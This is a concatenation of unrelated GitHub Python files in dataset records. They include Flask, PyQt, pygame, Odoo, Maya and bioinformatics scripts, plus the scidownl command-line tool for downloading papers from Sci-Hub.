data=data)\n\n\n@app.route('/Ontario')\ndef line_chart_ON():\n data = []\n val = myDb[\"Ontario\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/British-Columbia')\ndef line_chart_BC():\n data = []\n val = myDb[\"British Columbia\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Alberta')\ndef google_line_chart():\n data = []\n val = myDb[\"Alberta\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Saskatchewan')\ndef line_chart_SK():\n data = []\n val = myDb[\"Saskatchewan\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Manitoba')\ndef line_chart_MN():\n data = []\n val = myDb[\"Manitoba\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Quebec')\ndef line_chart_QB():\n data = []\n val = myDb[\"Quebec\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/New-Brunswick')\ndef line_chart_NB():\n data = []\n val = myDb[\"New Brunswick\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Nova-Scotia')\ndef line_chart_NS():\n data = []\n val = myDb[\"Nova Scotia\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Prince-Edward-Island')\ndef line_chart_PEI():\n data = []\n val = myDb[\"Prince Edward Island\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Newfoundland-and-Labrador')\ndef line_chart_NaL():\n data = []\n val = myDb[\"Newfoundland and Labrador\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Yukon')\ndef line_chart_YK():\n data = []\n val = myDb[\"Yukon\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Northwest-Territories')\ndef line_chart_NWT():\n data = []\n val = myDb[\"Northwest Territories\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/Nunavut')\ndef line_chart_NUT():\n data = []\n val = myDb[\"Nunavut\"].find({}, {\"_id\": 0})\n for txt in val:\n pair = [v for k, v in txt.items()]\n data.append([pair[0], int(pair[1].replace(',', ''))])\n\n return render_template('line-chart.html', data=data)\n\n\n@app.route('/api/all', methods=['GET'])\ndef api_all():\n data = []\n for coll in myDb.list_collection_names():\n tb_data = myDb[coll].find({}, {\"_id\": 0})\n for txt in tb_data:\n data.append(txt)\n return jsonify(data)","repo_name":"infy404/Group1-FinalProject","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41422686359","text":"#! /usr/bin/python\n\nimport sys\n\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\n\ndef enum(*sequential, **named):\n enums = dict(zip(sequential, range(len(sequential))), **named)\n return type('Enum', (), enums)\n\ntoken_type = enum(\"UNKNOWN\",\n \"START\",\n \"STOP\",\n \"START_START\",\n \"WRTIE\",\n \"READ\")\n\n\nclass I2CTable(QWidget):\n def __init__(self):\n super(I2CTable, self).__init__()\n self.l = QGridLayout()\n self.l.addWidget(I2CToken(), 0, 0)\n self.setLayout(self.l)\n\n#class I2CToken(QWidget):\nclass I2CToken(QLabel):\n\n def __init__(self):\n super (I2CToken, self).__init__(\"Test\")\n self.data = None\n self.i2c_type = token_type.UNKNOWN\n #self.v = QLabel(\"Test\")\n self.setFixedSize(100, 100)\n self.setStyleSheet(\"QWidget {background-color:blue}\")\n\n def set_type(self, i2c_type):\n self.i2c_type = i2c_type\n #XXX: SETUP THE VIEW TO THE TOKEN SPECIFIC VIEW\n pass\n\n def get_view(self):\n #Need to see if the GUI can draw a widget\n return self.v\n\n def as_record(self):\n return self.i2c_type, self.data\n\n\n\n","repo_name":"CospanDesign/python","sub_path":"pyqt/getting_started/table_back.py","file_name":"table_back.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"42208107088","text":"'''defining the player object as image and its position in window'''\nimport pygame\n# initialize pygame\npygame.init()\n# create game window with 800x600 dimension\nscreen=pygame.display.set_mode((800,600)) #width x height\n\n# Title and Icon\npygame.display.set_caption(\"Space Invaders\")\nicon=pygame.image.load('space-invaders.png')\npygame.display.set_icon(icon)\n\n# Player\nplayerimg=pygame.image.load('space-invaders.png').convert_alpha() # convert_alpha needed to use transform operation\nplayerimg=pygame.transform.scale(playerimg,(40,40)) # transform.scale changes size of the image and then display\n'''playerX and playerY define where should player appear on the display'''\nplayerX=370\nplayerY=480\n\ndef player():\n screen.blit(playerimg,(playerX,playerY)) # blit=draw , require two value:(player image, its cordinate)\n\n\n# Infinite loop\nrunning=True\nwhile running:\n # screen.fill((Red,Grren,Blue)) value from 0 to 255\n screen.fill((255, 255, 255))\n for event in pygame.event.get():\n if event.type==pygame.QUIT: # only exit the window while press close button\n running=False\n # anything we we want to run continuously, that goes into while Loop\n player()\n pygame.display.update() # continuously updating screen before running loop again\n\n\n","repo_name":"JenishLunagariya/PyGame","sub_path":"Pygame_tut/pygameTut_3.py","file_name":"pygameTut_3.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37600785376","text":"# -*- coding: utf-8 -*-\n# #############################################################################\n#\n# John W. Viloria Amaris\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n# #############################################################################\n\nfrom openerp import models, fields, api\nfrom openerp.addons.medical.medical_constants import minutes\nfrom datetime import datetime, timedelta\nfrom medical_physician_schedule_template import str_to_datetime, date_to_utc,\\\n hours, utc_datetime_assembly\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass MedicalAppointment(models.Model):\n _inherit = 'medical.appointment'\n _order = 'physician_id,physician_schedule_id, patient_turn'\n #_order = 'physician_id,physician_schedule_id, stage_id, patient_turn'\n\n def _stage_id_get(self, value_list):\n stage_obj = self.env['medical.appointment.stage'].search([\\\n ('name','in',value_list)])\n return stage_obj and stage_obj.id or False\n\n @api.one\n def set_appointment_cancel(self):\n _logger.critical(\"CANCEL BUTTON RAISED\")\n value_list = ('Canceled','canceled','Cancelado')\n res = self._stage_id_get(value_list)\n self.stage_id = res if res else self.stage_id.id\n #return {'type': 'ir.actions.act_window_close'}\n\n @api.one\n def set_appointment_done(self):\n _logger.critical(\"DONE BUTTON RAISED\")\n value_list = ('Done','done','Realizado')\n res = self._stage_id_get(value_list)\n self.stage_id = res if res else self.stage_id.id\n #return {'type': 'ir.actions.act_window_close'}\n\n @api.one\n def set_patient_turn(self):\n appointments = self.env['medical.appointment'].search([\n ('physician_schedule_id','=',self.physician_schedule_id.id),\n ('patient_turn','<',100)])\n if appointments:\n self.patient_turn = max([x.patient_turn for x in appointments]) + 1\n else:\n self.patient_turn = 1\n stage_obj = self.env['medical.appointment.stage'].search([\\\n ('name','in',['waiting','Waiting','En Espera','En espera'])])\n self.stage_id = stage_obj and stage_obj.id or self.stage_id.id\n\n @api.multi\n def onchange_physician_schedule_id(self, physician_schedule_id):\n #TODO: Solo filtra en los registros nuevos\n physician_schedule_id = self._context.get('default_physician_schedule_id',False)\n records = self.env['medical.appointment.schedule.time'].\\\n search([('physician_schedule_id','=',physician_schedule_id),\n ('is_free','=',True)])\n ids = [x.id for x in records]\n return {'domain': {'time_schedule_id':[('id','in', ids)]}}\n\n\n @api.multi\n def onchange_time_schedule_id(self, time_schedule_id):\n appointment_date = False\n schedule_time_obj = self.env['medical.appointment.schedule.time'].\\\n search([('id','=',time_schedule_id)])\n if schedule_time_obj:\n appointment_date = schedule_time_obj.appointment_date\n\n return {\n 'value':{\n 'appointment_date': appointment_date,\n }\n }\n\n @api.multi\n def write(self, vals):\n res = super(MedicalAppointment, self).write(vals)\n return res\n\n physician_schedule_id = fields.Many2one('medical.physician.schedule.template')\n patient_turn = fields.Integer('Patient Turn', default=999)\n #date = fields.Date('Date')\n parent_date = fields.Date(related='physician_schedule_id.date',string='Parent Date')\n hours = fields.Selection(hours, 'Hours')\n minutes = fields.Selection(minutes,'Minutes')\n stage_name = fields.Char(related='stage_id.name', string='Stage Name')\n time_schedule_id = fields.Many2one('medical.appointment.schedule.time', \\\n string='Time Schedule', required=True)","repo_name":"jviloria/odoo-medical","sub_path":"medical_appointment_custom/models/medical_appointment.py","file_name":"medical_appointment.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23073050253","text":"#!/usr/bin/env python3\n\n# Version 1.0\n# Author Alexis Blanchet-Cohen\n# Date: 09/06/2014\n\nimport argparse\nimport glob\nimport os\nimport os.path\nimport subprocess\nimport util\n\n# Read the command line arguments.\nparser = argparse.ArgumentParser(description=\"Generates dexseqcounts scripts.\")\nparser.add_argument(\"-s\", \"--scriptsDirectory\", help=\"Scripts directory.\", default=\"dexseqcounts\")\nparser.add_argument(\"-i\", \"--inputDirectory\", help=\"Input directory with BAM files.\", default=\"../results/tophat\")\nparser.add_argument(\"-o\", \"--outputDirectory\", help=\"Output directory with dexseqcounts results.\", default=\"../results/dexseqcounts\")\nparser.add_argument(\"-q\", \"--submitJobsToQueue\", help=\"Submit jobs to queue immediately.\", choices=[\"yes\", \"no\", \"y\", \"n\"], default=\"no\")\nargs = parser.parse_args()\n\n# If not in the main scripts directory, cd to the main scripts directory, if it exists.\nutil.cdMainScriptsDirectory()\n\n# Process the command line arguments.\nscriptsDirectory = os.path.abspath(args.scriptsDirectory) \ninputDirectory = os.path.abspath(args.inputDirectory)\noutputDirectory = os.path.abspath(args.outputDirectory)\n\n# Read configuration files\nconfig = util.readConfigurationFiles()\n\nheader = config.getboolean(\"server\", \"PBS_header\")\ntoolsFolder = config.get(\"server\", \"toolsFolder\")\n\ntrim = config.getboolean(\"project\", \"trim\")\nstranded = config.getboolean(\"project\", \"stranded\")\ngenome = config.get(\"project\", \"genome\")\ngenomeFile = config.get(genome, \"genomeFile\")\ndexseq_gtfFile = config.get(genome, \"dexseq_gtfFile\")\nprocessors = config.get(\"dexseqcounts\", \"processors\")\n\n# Read samples file.\nsamplesFile = util.readSamplesFile()\n\n# Create scripts directory, if it does not exist yet, and cd to it.\nif not os.path.exists(scriptsDirectory):\n os.mkdir(scriptsDirectory)\nos.chdir(scriptsDirectory)\n\n# Create output directory, if it does not exist yet.\nif not os.path.exists(outputDirectory):\n os.makedirs(outputDirectory)\n\n############################\n# dexseqcounts.sh scripts #\n############################\nfor index, row in samplesFile.iterrows():\n sample = row[\"sample\"]\n if \"Lane\" in samplesFile.columns:\n sample= sample + \"_lane_\" + str(row[\"lane\"]) \n scriptName = \"dexseqcounts_\" + sample + \".sh\"\n script = open(scriptName, \"w\")\n if header:\n util.writeHeader(script, config, \"dexseqcounts\")\n script.write(\"source \" + os.path.join(toolsFolder, \"python_environments/python2.7/bin/activate\"))\n script.write(\"\\n\\n\")\n script.write(\"dexseq_count.py\" + \" \\\\\\n\")\n script.write(\"--paired=yes\" + \" \\\\\\n\")\n if stranded:\n script.write(\"--stranded=reverse\" + \" \\\\\\n\")\n else:\n script.write(\"--stranded=no\" + \" \\\\\\n\")\n script.write(\"--format=bam\" + \" \\\\\\n\")\n script.write(\"--order=pos\" + \" \\\\\\n\")\n script.write(dexseq_gtfFile + \" \\\\\\n\")\n script.write(os.path.relpath(os.path.join(inputDirectory, sample, \"accepted_hits.bam\")) + \" \\\\\\n\")\n script.write(os.path.relpath(os.path.join(outputDirectory, sample + \".txt\")) + \" \\\\\\n\")\n script.write(\"&> \" + scriptName + \".log\")\n\nif (args.submitJobsToQueue.lower() == \"yes\") | (args.submitJobsToQueue.lower() == \"y\"):\n subprocess.call(\"submitJobs.py\", shell=True)\n","repo_name":"blancha/abcngspipelines","sub_path":"rnaseq/dexseqcounts.py","file_name":"dexseqcounts.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30146937874","text":"# -*- coding: utf-8 -*-\n\"\"\"Command line tool of scidownl.\"\"\"\nimport os.path\n\nimport click\n\nfrom ..log import get_logger\n\nlogger = get_logger()\n\n\n@click.group()\n@click.help_option(\"-h\", \"--help\")\ndef cli():\n \"\"\"Command line tool to download pdfs from Scihub.\"\"\"\n pass\n\n\n@cli.command(\"config\")\n@click.option(\"-l\", \"--location\", is_flag=True, help=\"Show the location of global config file.\")\n@click.option(\"-g\", \"--get\", type=(str, str), help=\"Get config by section and key, \"\n \"usage: --get
.\")\n@click.help_option(\"-h\", \"--help\")\ndef config(location, get):\n \"\"\"Get global configs.\"\"\"\n from ..config import get_config, GlobalConfig\n\n configs = get_config()\n if location:\n logger.info(f\"Global config file path: {GlobalConfig.config_fpath}\")\n return\n\n if get:\n sec, key = get\n if sec not in configs.sections():\n logger.warning(f\"Section '{sec}' is not found. Valid sections: {configs.sections()}\")\n return\n value = configs[sec].get(key, None)\n if value is None:\n logger.warning(f\"Key '{key} is not found. Valid keys: {list(dict(configs.items(sec)).keys())}\")\n return\n logger.info(f\"Value: {configs[sec][key]}\")\n\n\n@cli.command(\"domain.update\")\n@click.option(\"-m\", \"--mode\", default='crawl', help=\"update mode, could be 'crawl' or 'search',\"\n \" default mode is 'crawl'.\")\n@click.help_option(\"-h\", \"--help\")\ndef update_domains(mode):\n \"\"\"Update available SciHub domains and save them to local db.\"\"\"\n from ..core.updater import scihub_domain_updaters\n\n updater_cls = scihub_domain_updaters.get(mode, None)\n if updater_cls is None:\n logger.error(f\"Update mode (-m) must be one of \"\n f\"{list(scihub_domain_updaters.keys())}, got \"\n f\"'{mode}' instead.\")\n return\n updater = updater_cls()\n updater.update_domains()\n\n\n@cli.command(\"domain.list\")\n@click.help_option(\"-h\", \"--help\")\ndef list_domains():\n \"\"\"List available SciHub domains in local db.\"\"\"\n import tablib\n from ..db.service import ScihubUrlService\n\n service = ScihubUrlService()\n urls = service.get_all_urls()\n urls.sort(key=lambda url: url.success_times, reverse=True)\n tab = tablib.Dataset(headers=[\"Url\", \"SuccessTimes\", \"FailedTimes\"])\n for url in urls:\n tab.append((url.url, url.success_times, url.failed_times))\n tab_str = tab.export(\"cli\", tablefmt=\"psql\")\n print(tab_str)\n\n\n@cli.command(\"download\")\n@click.option(\"-d\", \"--doi\", multiple=True,\n help=\"DOI string. Specifying multiple DOIs is supported, \"\n \"e.g., --doi FIRST_DOI --doi SECOND_DOI ... \")\n@click.option(\"-p\", \"--pmid\", multiple=True, type=int,\n help=\"PMID numbers. Specifying multiple PMIDs is supported, \"\n \"e.g., --pmid FIRST_PMID --pmid SECOND_PMID ...\")\n@click.option(\"-t\", \"--title\", multiple=True,\n help=\"Title string. Specifying multiple titles is supported, \"\n \"e.g., --title FIRST_TITLE --title SECOND_TITLE ...\")\n@click.option(\"-o\", \"--out\",\n help=\"Output directory or file path, which could be an absolute path \"\n \"or a relative path. \"\n \"Output directory examples: /absolute/path/to/download/, ./relative/path/to/download/, \"\n \"Output file examples: /absolute/dir/paper.pdf, ../relative/dir/paper.pdf. \"\n \"If --out is not specified, paper will be downloaded to the current directory \"\n \"with the file name of the paper's title. \"\n \"If multiple DOIs or multiple PMIDs are provided, the --out option is always considered \"\n \"as the output directory, rather than the output file path.\")\n@click.option(\"-u\", \"--scihub-url\",\n help=\"Scihub domain url. If not specified, automatically choose one from local saved domains. \"\n \"It's recommended to leave this option empty.\")\n@click.option(\"-x\", \"--proxy\",\n help=\"Proxy with the format of SCHEME=PROXY_ADDRESS. e.g., --proxy http=http://127.0.0.1:7890.\")\n@click.help_option(\"-h\", \"--help\")\ndef download(doi, pmid, title, out, scihub_url, proxy: str):\n \"\"\"Download paper(s) by DOI or PMID.\"\"\"\n from ..core.task import ScihubTask\n from ..config import get_config\n\n configs = get_config()\n\n logger.info(\"Run scihub tasks. Tasks information: \")\n if len(doi) > 0:\n logger.info(\"%15s: %s\" % (\"DOI(s)\", list(doi)))\n if len(pmid) > 0:\n logger.info(\"%15s: %s\" % (\"PMID(s)\", list(pmid)))\n if len(title) > 0:\n logger.info(\"%15s: %s\" % (\"TITLE(s)\", list(title)))\n\n if out is None:\n logger.info(\"%15s: %s\" % (\"Output\", os.path.abspath('./')))\n else:\n logger.info(\"%15s: %s\" % (\"Output\", out))\n\n if scihub_url is None:\n logger.info(\"%15s: \" % (\"SciHub Url\", configs['scihub.task']['scihub_url_chooser_type']))\n else:\n logger.info(\"%15s: %s\" % (\"SciHub Url\", scihub_url))\n\n # Always consider out as a directory if there are multiple DOIs and PMIDs.\n if len(doi) + len(pmid) + len(title) > 1:\n if out is not None and out[-1] != \"/\":\n out = out + '/'\n\n proxies = {}\n # Load proxies configured in global configurations.\n if configs['proxy'].get('http') is not None:\n proxies['http'] = configs['proxy'].get('http')\n if configs['proxy'].get('https') is not None:\n proxies['https'] = configs['proxy'].get('https')\n\n # Overwrite the proxy with the user specified proxy.\n if proxy is not None and \"=\" in proxy:\n scheme, proxy_address = proxy.split(\"=\")[:2]\n proxies[scheme] = proxy_address\n\n if len(proxies) > 0:\n logger.info(\"%15s: %s\" % (\"Proxies\", proxies))\n\n tasks = []\n for doi_item in doi:\n tasks.append({\n 'source_keyword': doi_item,\n 'source_type': 'doi',\n 'scihub_url': scihub_url,\n 'out': out,\n 'proxies': proxies\n })\n for pmid_item in pmid:\n tasks.append({\n 'source_keyword': pmid_item,\n 'source_type': 'pmid',\n 'scihub_url': scihub_url,\n 'out': out,\n 'proxies': proxies\n })\n for doi_item in doi:\n tasks.append({\n 'source_keyword': doi_item,\n 'source_type': 'doi',\n 'scihub_url': scihub_url,\n 'out': out,\n 'proxies': proxies\n })\n for title_item in title:\n tasks.append({\n 'source_keyword': title_item,\n 'source_type': 'title',\n 'scihub_url': scihub_url,\n 'out': out,\n 'proxies': proxies\n })\n for task_kwargs in tasks:\n task = ScihubTask(**task_kwargs)\n try:\n task.run()\n except Exception as e:\n logger.error(f\"final status: {task.context['status']}, error: {task.context['error']}\")\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"Tishacy/SciDownl","sub_path":"scidownl/api/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":7108,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"18"} +{"seq_id":"39447769062","text":"from collections import OrderedDict\n\nfrom django.urls import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\n\n\n\nSETTINGS_WEBSITE_NAME = 'ChampionSquare'\nSETTINGS_WEBSITE_TAGLINE = 'An Online Academy'\nSETTINGS_HOMEPAGE = '/'\n\n# Dynamic class loading\nSETTINGS_DYNAMIC_CLASS_LOADER = 'champsquarebackend.core.loading.default_class_loader'\n\n\n# Paths\nSETTINGS_IMAGE_FOLDER = 'images/products/%Y/%m/'\nSETTINGS_DELETE_IMAGE_FILES = True\n\n# Copy this image from static/img to your MEDIA_ROOT folder.\n# It needs to be there so Sorl can resize it.\nSETTINGS_MISSING_IMAGE_URL = 'image_not_found.jpg'\n\n\n# Pagination settings\n\nSETTINGS_NOTIFICATIONS_PER_PAGE = 20\nSETTINGS_EMAILS_PER_PAGE = 20\nSETTINGS_DASHBOARD_ITEMS_PER_PAGE = 10\n\n# Accounts\nSETTINGS_ACCOUNTS_REDIRECT_URL = 'user:profile-view'\n\n\n# Registration\nSETTINGS_SEND_REGISTRATION_EMAIL = True\nSETTINGS_FROM_EMAIL = 'ujjawalkotafactory@gmail.com'\n\n# Slug handling\nSETTINGS_SLUG_FUNCTION = 'champsquarebackend.core.utils.default_slugifier'\nSETTINGS_SLUG_MAP = {}\nSETTINGS_SLUG_BLACKLIST = []\nSETTINGS_SLUG_ALLOW_UNICODE = False\n\n#Cookies\nSETTINGS_COOKIES_DELETE_ON_LOGOUT = []\n\n\n\n# Hidden features\nSETTINGS_HIDDEN_FEATURES = []\n\n# Menu structure of the dashboard navigation\nSETTINGS_DASHBOARD_NAVIGATION = [\n {\n 'label': _('Dashboard'),\n 'icon': 'icon-th-list',\n 'url_name': 'dashboard:index',\n },\n {\n 'label': _('Questions'),\n 'icon': 'icon-sitemap',\n 'children': [\n {\n 'label': _('Questions'),\n 'url_name': 'dashboard:questions-list',\n },\n {\n 'label': _('Subjects'),\n 'url_name': 'dashboard:question-subject-create',\n }\n ]\n },\n {\n 'label': _('Test Manager'),\n 'icon': 'icon-bullhorn',\n 'children': [\n {\n 'label': _('Quizzes'),\n 'url_name': 'dashboard:quiz-list',\n },\n {\n 'label': _('Category'),\n 'url_name': 'dashboard:quiz-category-create',\n }\n ]\n },\n {\n 'label': _('Monitoring'),\n 'icon': 'icon-bullhorn',\n 'children': [\n {\n 'label': _('Video Room'),\n 'url_name': 'dashboard:video-room',\n }\n ]\n },\n {\n 'label': _('Records'),\n 'icon': 'icon-bar-chart',\n 'children': [\n {\n 'label': _('Videos'),\n 'url_name': 'dashboard:video-list',\n },\n {\n 'label': _('Raw Videos'),\n 'url_name': 'dashboard:videos',\n }\n ]\n },\n {\n 'label': _('Users'),\n 'icon': 'icon-group',\n 'children': [\n {\n 'label': _('Users List'),\n 'url_name': 'dashboard:users-index',\n },\n {\n 'label': _('Create User'),\n 'url_name': 'dashboard:user-create',\n }\n ]\n },\n {\n 'label': _('Content'),\n 'icon': 'icon-folder-close',\n 'children': [\n {\n 'label': _('Pages'),\n 'url_name': 'dashboard:page-list',\n },\n {\n 'label': _('Email templates'),\n 'url_name': 'dashboard:comms-list',\n }\n ]\n }\n]\nSETTINGS_DASHBOARD_DEFAULT_ACCESS_FUNCTION = 'champsquarebackend.apps.dashboard.nav.default_access_fn' # noqa\n\n\nSETTINGS_URL_SCHEMA = 'http'\n\nSETTINGS_SAVE_SENT_EMAILS_TO_DB = True\n\nHOMEPAGE_URL = '/'\n\n# janus settings\nSETTINGS_VIDEO_RECORD_FOLDER_NAME = '/video_recordings/'\nSETTINGS_JANUS_POST_PROCESS_FUNCTION_PATH = '~/janus10/bin/janus-pp-rec'\nSETTINGS_JANUS_POST_PROCESS_SCRIPT = 'champsquarebackend/scripts/janus_post_process.sh'\nSETTINGS_AUDIO_VIDEO_MERGE_SCRIPT = 'champsquarebackend/scripts/merge_audio_video.sh'\n","repo_name":"ChampSquare/ChampionSquareBackend","sub_path":"champsquarebackend/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"450599560","text":"'''\nfrom function.rigging.skin import copySkinFromRef as cpr\nreload (cpr)\n\ncpr.ui()\n\n'''\nfrom function.framework.reloadWrapper import reloadWrapper as reload\n\nimport maya.cmds as mc\n\nfrom function.rigging import templateUi \nreload(templateUi)\n\n\n\ndef runUi():\n\t'''\n\tUser interface for copy skin\n\t'''\n\n\tCopySkinUI()\n\n\n\nclass CopySkinUI(templateUi.templateUi):\n\t'''Inherited from MlUi\n\tmorgan lumis\n\t'''\n\n\tdef __init__(self):\n\n\t\tsuper(CopySkinUI, self).__init__('copySkinWeightsUi', 'copySkinWeights', width=400, height=120,info='')\n\n\t\tself.buildWindow()\n\t\tself.srcMeshField = self.selectionField(label='Source Mesh',\n\t\t\t\t\t\t\t\t\t\t\t\tannotation='Select source skin.',\n\t\t\t\t\t\t\t\t\t\t\t\tbuttonLabel ='Set',\n\t\t\t\t\t\t\t\t\t\t\t\ttext='')\n\n\n\t\tmc.button(label='Copy Skin',command = self.copySkin , annotation='Copy the Source Skin to selection.')\n\n\t\tself.finish()\n\n\t\t\n\tdef copySkin(self,*args):\n\t\t# Get the variable\n\t\tsourceMesh = mc.textFieldButtonGrp(self.srcMeshField, query=True, text=True)\n\n\t\tif not sourceMesh:\n\t\t\traise RuntimeError('Input a source mesh into the UI to copy skin from.')\n\n\n\n\t\tdestinationMesh = mc.ls(sl=True)\n\n\n\n\t\t\n\t\t# sourceSkin = sourceMesh\n\t\t# destinationSkin = destinationMesh\n\n\t\tmc.select( sourceMesh,r=True )\n\t\tmc.select( destinationMesh,add=True )\n\t\t\n\t\tmc.copySkinWeights(\n\t\t\t\t\t\t\tnoMirror=True,\n\t\t\t\t\t\t surfaceAssociation='closestPoint',\n\t\t\t\t\t\t influenceAssociation='closestJoint',\n\t\t\t\t\t\t normalize=True)\n\t\t\n\t\tmc.select(deselect=True)\n\t\t\n\n\n\nif __name__ == '__main__':\n\tui()","repo_name":"narongtum/nmTools","sub_path":"riggerTools/python/function/rigging/skin/copySkinFromRef.py","file_name":"copySkinFromRef.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26871160778","text":"#Note: As this module is imported into quiz.py, all paths become\n# relative to where quiz.py is\nimport csv\nimport json\nimport pygame\nfrom pygame.locals import *\nfrom pygame.time import Clock\nfrom src.scene import Scene\n\nglobal FPS\n\nclass Game():\n class __Game():\n def __init__(self, config_info):\n global FPS\n FPS = config_info[\"FPS\"]\n\n self.is_start = False\n self.is_run = False\n self.delta = 0\n self.time_since_started = 0\n self.clock = Clock()\n\n pygame.init()\n self.screen = pygame.display.set_mode((config_info[\"WIDTH\"],\n config_info[\"HEIGHT\"]))\n pygame.display.set_caption(config_info[\"CAPTION\"])\n self.time_since_started = pygame.time.get_ticks()\n\n reader_data = []\n with open(\"./src/data/questions.csv\", newline=\"\") as questions,\\\n open(\"./src/data/scene_data.json\") as scene_info:\n q_reader = csv.reader(questions)\n reader_data.extend([row for row in q_reader])\n scene_cfg = json.load(scene_info)\n self.scene = Scene(q_reader, scene_cfg)\n self.is_start = pygame.get_init()\n self.is_run = True\n\n def process_events(self):\n for evt in pygame.event.get():\n if evt.type == QUIT:\n self.quit()\n \n def update(self, delta):\n self.scene.update(delta)\n\n def render(self, target):\n self.scene.render(target)\n pygame.display.flip()\n\n def run(self):\n if not self.is_start:\n return\n while self.is_run:\n self.process_events()\n self.update(self.delta)\n self.render(self.screen)\n self.delta = self.clock.tick(FPS)\n self.time_since_started = pygame.time.get_ticks()\n pygame.quit()\n\n def quit(self):\n self.is_run = False\n\n #Singleton:\n instance = None\n def __init__(self, cfg_info):\n if not Game.instance:\n Game.instance = Game.__Game(cfg_info)\n\n def __getattr__(self, name):\n return getattr(self.instance, name)\n","repo_name":"Kids-Hack-Labs/Winter2021","sub_path":"Week07/code/engine/game_env.py","file_name":"game_env.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30869251461","text":"import os\nimport datetime\nfrom flask import Flask, request, render_template, session, Response\nfrom flask_compress import Compress\n\nbasedir = os.path.dirname(os.path.realpath(__file__))\nlocation = lambda x: os.path.join(basedir, x)\napp = Flask(__name__, static_url_path='/static', static_folder=location('static'))\napp.secret_key = b\"\\xd8z\\x0bI\\x11I~\\x1b\\n\\xe2\\x08\\xcdh\\xc1\\\\xb6\\x06\\xdbO\\xa3\\xf4.K<\"\n\ngzip = Compress(app)\n\nemails_filepath = location('emails.csv')\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/submit-email', methods=['POST'])\ndef submit_email():\n email = request.form.get('email')\n user_type = request.form.get('user_type')\n now = datetime.datetime.now()\n \n already_submit_message = 'You already submitted your email. Thank you!'\n\n if 'submit_email' in session and session['submit_email'] == email:\n return already_submit_message, 500\n\n try: \n f = open(emails_filepath, 'a+', encoding='utf-8')\n f.seek(0)\n s = f.read()\n if email in s:\n f.close()\n session['submit_email'] = email\n return already_submit_message, 500\n \n f.write('{},{},{}\\n'.format(now,email,user_type))\n f.close()\n session['submit_email'] = email\n\n return 'OK', 200\n\n except IOError:\n return 'Error saving the email', 